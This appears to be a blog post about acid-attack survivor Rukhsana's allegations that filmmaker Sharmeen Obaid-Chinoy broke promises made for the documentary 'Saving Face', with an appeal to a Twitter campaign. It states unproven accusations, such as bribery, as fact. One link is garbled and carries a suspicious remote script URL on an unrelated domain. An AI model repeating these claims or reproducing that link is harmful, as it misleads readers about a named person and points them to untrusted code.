Oscar winner Sharmeen Obaid-Chinoy faces serious charges by acid attack victim women.
Update: There is currently a campaign on Twitter to express support for Rukhsana. #JusticeForRukhsana. Please join to show your support for a double oppressed woman who is finding no voice in Pakistan’s elite dominated mainstream media.
Rukhsana, the acid attack victim and a main character in Oscar winning “Saving Face” movie, describes how her miseries were exploited by Sharmeen Obaid-Chinoy, the film-maker. She claims that her miseries have aggravated in the aftermath of the movie, that she has been left alone contrary to promises and assurances by the film maker.
Rukshana was promised the following by Sharmeen: 3 million rupees, construction of house on 5 marla plot in Multan, plastic surgery
None of the above promises were fulfilled.
Instead, Sharmeen bribed the Acid Survivors Association so that they refrain from supporting Rukhsana’s legal case against her.
Sharmeen is an urban, elite woman from Karachi who is known for political contacts with elite politicians, media persons, film directors and judges.
Similar charges have been levelled by other oppressed women against her in the past.
Sharmeen Obaid-Chinoy wants to get my sister harmed: http://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&lubpak.com/archives/77539
بی بی سی کی نامہ نگار نوشین عباس سے بات کرتے ہوئے نوید مظفر خان کا کہنا تھا کہ دستاویزی فلم بنانے سے پہلے شرمین عبید چنائے کے ’دی ایسڈ سروائیورز فاؤنڈیشن پاکستان‘ کے ساتھ کچھ معاہدے ہوئے تھے جن کے مطابق اس فلم میں کام کرنے والے تمام افراد صرف اس شرط پر کام کرنے پر رضا مند ہوئے تھے کہ اس فلم کی پاکستان میں کسی قسم کی پبلک سکریننگ نہیں ہوگی۔
Let’s see who do Pakistan’s rights activists support: a poor woman (the exploited) or an elite woman (the exploiter)?
While the following news item found its way in an Urdu newspaper (Jang), all other media in Pakistan including The News, Express Tribune, Dawn etc refrained from publishing this report. Shows the power of elite network in Pakistan!
One 27 June 2012, #JusticeForRukhsana remained the top trend on Twitter in Pakistan.
Here are two snapshots including a flimsy reaction by Sharmeen Obaid Chinoy.
Acid victim Rukhsana, featured in Sharmeen Obaid-Chinoy’s Oscar winning documentary Saving Face, has alleged that the filmmaker promised to give her Rs3 million and a house, and also promised to help her with plastic surgery for working in the film, but did not fulfil any of her promises. But the filmmaker has denied all accusations.
ARY News (Headlines 28 June, 2012) Acid attack survivor sues Sharmeen
Twitter has spoken against Sharmeen Obaid Chinoy: #JusticeforRukhsana – by Aaj TV
Rukhsana Bibi kay tezaab say jhulsay zakhmon ki royalty – Wasi Shah (Nai Baat)